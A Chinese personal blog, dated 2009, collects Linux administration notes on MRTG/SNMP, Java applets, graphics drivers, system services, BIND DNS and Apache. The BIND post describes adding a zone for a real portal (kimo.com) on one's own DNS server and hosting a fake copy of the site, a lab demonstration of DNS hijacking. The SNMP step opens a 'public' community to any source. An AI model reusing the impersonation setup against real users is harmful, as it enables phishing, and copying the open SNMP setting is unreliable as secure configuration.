# MaxBytes[偵測器名稱]: 圖表數值上限。
# YLegend[偵測器名稱]: 表格的Y軸要顯示什麼單位文字。(不支援中文)
# ShortLegend[偵測器名稱]: 同上,單位文字的簡稱。
# LegendI[偵測器名稱]: 第1數據,代表的意義。(預設綠色線條)
# LegendO[偵測器名稱]: 第2數據,代表的意義。(預設藍色線條)
# Legend1[偵測器名稱]: 第1數據,網頁下方的說明文字。
# Legend2[偵測器名稱]: 第2數據,網頁下方的說明文字。
# Colours[偵測器名稱]: 繪製顏色。(可省略)
# Title[偵測器名稱]: 網頁的 Title,瀏覽器中標題列的名稱。
# PageTop[偵測器名稱]: <h1>網頁上面顯示的標題</h1>

# 關於 Options[偵測器名稱] 參數說明:
# growright = 圖表從右方畫起。
# bits = 最小單位 bits。
# gauge = 圖表上標尺的數字,維持在平均值,不會因短暫的尖峰爆衝而提高。
# nopercent = 不顯示百分比(與 MaxBytes 的%),預設是會顯示的。
# integer = 只顯示整數,捨去小數點,預設會帶有小數點。

# 關於 Colours[偵測器名稱] 的說明:
# 參數總共要4筆 GREEN#rrggbb,BLUE#rrggbb,DARK GREEN#rrggbb,MAGENTA#rrggbb
# 可重新定義原先四種顏色的 RGB 16進位碼。
# 網頁下方的顏色名稱也可改掉,例如 MAGENTA#(洋紅)改成 VIOLET#(紫羅蘭)。

# 附註:
# 1.在網頁上顯示的東西,支援 html 碼,例如 代表空格,<h1> 代表標題。
# 2.網頁 Index 自動產生後,偵測器排列順序,同以下偵測器的排列順序。
# 3.網卡的「偵測器名稱」和「Target」比較特殊,需用 SNMP 程式取得。
# 4.每台電腦(或每次重灌),網卡的「偵測器名稱」資料可能改變,請注意修改。

# 偵測器固定輸出 4 筆數據給 MRTG,各數據的意義:
# 1.綠色線條。(明顯的塗色)
# 2.藍色線條。(僅有單線)
# 3.設備開機時間。
# 4.設備名稱。



我有完整的程式碼,包含:cpu 偵測,web流量偵測、硬碟剩餘空間偵測、cpu溫度偵測(要靠某個溫度偵測套件)..等等。再加上完美的 mrtg.cfg 中文化 (自認啦)XD

若有興趣,我再放網路硬碟分享..
前提是有興趣,且需懂基本 shell script
因為那個必須修改才能使用,無法直接套用

MRTG安裝

需要SNMP agent
aptitude install snmpd
修改/etc/snmp/snmpd.conf
#sec.name source community
#com2sec paranoid default public
com2sec readonly default public
#com2sec readwrite default private

重新啟動snmp

安裝MRTG
aptitude install mrtg
非常懶惰的產生設定檔
cfgmaker public@localhost >> /etc/mrtg.cfg
執行mrtg
env LANG=C mrtg /etc/mrtg.cfg
產生輸出網頁
indexmaker -title="My First MRTG Page" --output=/var/www/mrtg/index.html /etc/mrtg.cfg

接著到瀏覽器http://IP/mrtg/ ,打完收工Orz,非常不詳盡之MRTG安裝
中間會問要不要把mrtg的某個檔案設定為mrtg唯讀,我回答yes~感覺這樣比較好

linux開關機流程

書上看到的

2009年11月26日

java applet在瀏覽器內有亂碼

除了之前說的中文字型要拷貝到fallback目錄之外,可能的問題是有人在寫applet時候用的編碼模式為Big5,這一點跟ubuntu預設的utf8有相違背,必須要在java control panel(系統=>偏好設定內)如下圖的地方新增字串"-Dfile.encoding=big5"

2009年11月25日

換顯示卡

看到一個蠻好玩的文章
http://dancingpenguinsoflight.com/2009/11/quick-tips-for-nvidia-and-ati-graphics-configuration-repairs-on-ubuntu/
意思大概是如果換了顯示卡,怎樣簡單設定呢?
換到ATI
apt-get install xorg-driver-fglrx
aticonfig --initial
換到Nvidia
apt-cache search nvidia-glx
# Install the latest stable one. Currently:
apt-get install nvidia-glx-185
nvidia-xconfig


常見的服務列表

NetworkManager
圖形化的網路管理介面
acpid
電源管理程式
anacron, atd, crond
排程程式
autofs
自動掛載fs的程式,如usb
avahi-daemon
Avahi 是 zeroconf 協議的實現。它可以在沒有 DNS 服務的局域網裡發現基於 zeroconf 協議的設備和服務。Pulse Audio也需要他
backuppc
系統備份服務
bluetooth, dund, pand
藍芽相關服務
capi, isdn
ISDN服務,一般應該用不到
cpuspeed
調整cpu速度的程式
cups
列印伺服器程式
dc_client, dc_server
distributed session cache的client/server
dovecot
pop3 service
gpm
terminal mouse的服務
haldaemon
HAL (Hardware Abstraction Layer) service,系統用於蒐集硬體資訊
httpd
apache server
ip6tables
iptables IP v6 version
irda
紅外線連線程式
irqbalance
協調多核心的irq程式
lm_sensor
主機板sensor的程式
mdmonitor
用於RAID或者LVM的資訊程式
messagebus
內部系統資訊交換,如D-Bus裝置
mysqld
MySQL DBMS
named
Bind (DNS) server
netconsole
初始話網路控制器記錄
netfs
自動掛載服務,用於NFS or Samba
netplugd

network
網路服務啟動服務
nfs, nfslock
NFS server用到
ntpd, ntpdate
網路時間校正
openvpn
VPN Server
pcscd
智慧卡服務
restorecond
回復selinux設定的服務
rpcbind
rpc相關,如NFS跟NIS用的到
rpcgssd, rpcidmapd, rpcsvcgssd
NFS相關程序
saslauthd
密碼認證服務程序
sendmail
Mail server
setroubleshoot
selinux除錯用
smartd
監控硬碟程式
nmb, smb
samba server用
smolt

snmpd, snmptrapd
SNMP server
spamassassin
過濾垃圾信件套件
squid
proxy server
sshd
SSH server,用於遠端加密
udev-post
裝置管理服務
vsftpd
ftp server
wpa_supplicant
無線網卡的wpa加密服務

2009年11月24日

Bind Server (2) -- 設定

在bind9之前要先說說Linux的設定檔,linux名稱解析有三個相關檔案
  • /etc/hosts:由檔案紀錄hostname => IP
  • /etc/resolv.conf:紀錄dns server的IP
  • /etc/nsswitch.conf:決定先使用hosts還是resolv.conf來做查詢,其中有一行hosts: files mdns4_minimal dns 表示先使用hosts檔案解析,後來才輪到dns

bind9主要的global設定檔在於/etc/named.conf,預設他只有監控127.0.0.1來的query,且只允許localhost的query
修改後的樣子如上圖,如果要仔細知道每個個參數的意義可以參考一下鳥哥的網站,可以看到named.conf後面還有許多參數,分別表示zone的名稱跟檔案位置,比方說,如果高興的話可以增加一個kimo.com的domain,然後把dns指向這台自己架設的dns server,這樣做可以竄改kimo.com的位置。底下是新增zone的設定
然後在/var/named/chroot/var/named這個目錄新增一個檔案為named.kimo.com,內容如下


這樣一來,就可以把www.kimo.com的名稱轉換到192.168.217.33去了,高興的話還可以在192.168.217.33這台電腦上架設httpd server做個假的kimo.com的伺服器,放上自己喜歡的網頁,像是下圖這樣
可以看到瀏覽器上面的確是www.kimo.com,可是網頁內容卻不是正常的內容

2009年11月23日

Bind Server (1) -- 安裝

DNS已經被廣泛應用在網路上,所以目前是一個相當重要的Server,架設網站尤其要小心,如果被hack,甚至連個人資料都不保,比方說hack可以竄改DNS Server將本來要連到某銀行的網站連結到他自己的,即使相同的Name也不可信,因為後面的IP可能被改過了
安裝dns需要安裝bind跟bind-chroot套件,目前chroot已經慢慢成為一趨勢,如果不幸被hack,可以減低傷害,因為server將被限制在chroot的目錄下
在fedora上安裝完畢之後要修改/etc/sysconfig/named,在最後加入
ROOTDIR=/var/named/chroot

表示將原本在/etc跟/var下的路徑改變到ROOTDIR下,變成
/var/named/chroot/etc/named.conf
/var/named/chroot/var/named/zone_file1
/var/named/chroot/var/run/named/…

可以確定
/etc/init.d/named start
確定啟動
netstat –nutlp
尋找port number 53 & named process
確定啟動成功
tail –n 15 /var/log/messages | grep named
在最後一行會看到一個running

使用nslookup,將server設定為localhost,嘗試著去query看看,如果可以的話應該沒有問題

2009年11月22日

VMware的其他應用

近年來virtualization的技術很夯,隨著硬體功能的成長,這些部分也持續有成長,其他出名的類似virtual box, xen, virtual pc(這個好像很少看到資訊XD),以功能成長性來說vmware跟xen好像是佼佼者,不過,老實說,不常使用的人對那些眼花撩亂的功能跟版本真的是不瞭解(我就是個例子:P),在M01網站看到人家舉的一個應用,這可實際多了
順便到網路上爬了一些有關vmware的資訊,才知道,想不到現在還進步真多了,可以玩的東西也變多了,不過真的都是價格不斐阿(以vmware的價格來說,或許對企業真的不算貴XD)
http://esxvm.pixnet.net/blog/category/1375247
http://www.vixual.net/blog/archives/543
http://leesun.blog.51cto.com/58664/70954

Aapche Server(2) -- 使用者目錄與基本認證

在Apache底下有個預設的目錄為DocumentRoot,基本上是該台機器連上80 port之後回傳資料的基本目錄,如果使用者要擁有自己的目錄則是必須啟動UserDir的功能,Apache允許使用者在自己的目錄底下建立自己的網頁,每個使用者必須在自己的$HOME底下建立一個特殊目錄(依照apache的設定,可能為www或者public_html),並且讓$HOME目錄為權限744(可讀取),而www/public_html包含底下的檔案建議為755(可讀取跟執行,如果要使用類似php),網頁的URL格式為http://IP/~user_ID/
要注意,在user_ID之前要有蚯蚓的符號喔~~~
UserDir設定
fedora修改/etc/httpd/conf/httpd.conf
可以找到UserDir disabled,將它加上註解符號變成#UserDir disabled,表示啟動
接著在稍微後面的地方加上UserDir www,表示要用www,接著重新啟動apache

ubuntu則是使用指令a2enmod userdir,接著修改該檔案/etc/apache2/mods-enabled/userdir.conf
把UserDir後面修改成自己的想要的名稱,如www,跟者要修改Directory
記得重新啟動apache

網頁認證
一般不需要複雜權限管理的系統,或者是不會寫程式,可以考慮直接使用apache內建的功能
fedora依樣修改/etc/httpd/conf/httpd.conf
在裡面加上
Directory後面接著要限制的目錄,要進入該目錄底下時,瀏覽器都會跳出一個詢問視窗,要求輸入帳號密碼,/opt/passwords則是紀錄帳號密碼的檔案位置,可以自由輸入,只要記得該路徑就好,跟系統的passwd檔案室差不多的功能,require user後面為允許使用該目錄的使用者,且同時在要存在/opt/passwords裡面才可以,要進入該目錄兩者缺一不可
接著可以用htpasswd -c /opt/passwords User1來幫建立帳號密碼,-c表示如果該檔案不存在則建立一個,如果存在則刪除重新建立,如果檔案已經存在,記得不要加上-c

2009年11月21日

Apache Server(1) -- 安裝

世界上最知名的http service使用的軟體大概就是apache了,在fedora跟ubuntu的安裝都是蠻簡單的,只是名稱不大一樣orz
apt-get install apache2
yum install httpd

安裝完畢之後,輸入http://localhost/就可以看到一個首頁,其實這是個error page而非正常的index page
在設定檔的部分,兩者也有不同,我已經不知道是誰修改了apache(雖然說基本原則一樣),設定的方式還有些差別
以fedora來說,所有的設定幾乎集中在一個檔案/etc/httpd/conf/httpd.conf下面,其他的設定檔案放在/etc/httpd/conf.d/這目錄底下
ubuntu則是把httpd.conf這個精簡化到幾乎只有ServerName,其他一般設定放置在/etc/apache2/apache2.conf內,再把一些模組的設定分散到各個目錄內,全部都在路徑/etc/apache2下
  • mods-available
  • mods-enabled
  • sites-available
  • sites-enabled
這四個目錄,分別放置可用的module跟啟動的module,還有可用的site功能(如virtual host)跟啟用的site功能,其中modes-enabled跟sites-enabled裡面其實只是link到另外兩個目錄的檔案,如果要啟用功能使用a2enmod/a2ensite就可以
另外script使用的方式是
#fedora
/etc/init.d/httpd start|stop|restart
#ubuntu
/etc/init.d/apache2 start|stop|restart
經過以上的說明,相信大家大概都知道,為何同樣的東西,我說在fedora跟ubuntu用起來不大一樣了吧

2009年11月20日

DNS概念(3)

如果所有的查詢紀錄都要每次都由root的Server開始,會非常的消耗網路資源,所以預設的DNS會做cache,比方說www.google.com這個網路名稱常常被查詢,就把他cache下來方便往後的查詢,所以預設的DNS會先檢查自己的zone data跟著看看cache有無資料,接著如果沒有再去網路上抓取,抓取回來的資料會放到cache data裡面
作Cache有些議題需要注意的,雖然因為不用反覆查詢可以有效的降低網路頻寬且同時可以有較快的回應速度,但是他的更新並不及時,如果Cache資料太久就會發生,其實這個Name已經轉換到其他IP的問題,但是如果頻頻更新cache又會有效能不彰的問題

DNS也有另外一個重要的紀錄就是Mail Server的認證,比方說當一個Client要寄信到xxx@MailServer2Name的時候,他會先查詢自己的smtp主機name,把信件送到Mail Server 1,當Mail Server 1收到這個信件,並確認Client是他所允許的用戶端的時候,他會接著查詢Mail Server 2的名稱,將這封信轉送到Mail Server 2去,當Mail Server 2收到來自Mail Server 1的要求的時候,他也會去檢驗Mail Server 1的MX紀錄是否存在DNS內
底下就是一個沒有授權的Mail Server想要傳送信被拒絕的例子,因為接收Request的Mail Server查詢DNS的時候發現,這台Mail Server的MX紀錄並不存在,所以拒絕他的信件

2009年11月19日

DNS概念(2)

Domain的架構大致上是以一個節點以下的sub-domain來說,每個sub-domain都是一個domain。之前有提到一個domain底下有許多sub-domain,又提到DNS是分散式的架構,有一部份是指,管理該domain的server可以把sub-domain授權(delegate)給其他管理者去管理。一旦授權之後,所有該sub-domain的主機名稱跟該sub-domain底下的權限都給該機器管理。

理論上是以domain為單位來看DNS管理,可是實際上卻是用zone的方式,所謂的zone只一台機器的資料庫管理的範圍,他有可能是兩三個domain組成的



在domain的架構完成之後,接著是如何解析,也就是完成Name=>IP這樣的動作,基本上會有幾個角色resolver也就是發出Name=>IP的程式或者host,Name Server也就是管理某個domain的機器,整個查詢會是反覆(iterative)跟遞迴(recursive)的查詢,以底下的圖來說明

一開始resolver會跟預設的DNS Server提出要求,預設的DNS Server會先察看自己的domain跟要求的是否一致,如果屬於自己的管理範圍,則直接回傳IP,如果不一致,則由root開始尋找,root會回應一個管理該sub-domain的name server去負責這件事情,接著預設的DNS Server會改查詢該name server,一直反覆這個動作,直到找到該負責name server記錄者有這筆資料為止,其實上面的過程是一個在尋訪DNS樹狀架構的過程,可以另外以這張圖表示

圖片來自Oreilly的書籍DNS & Bind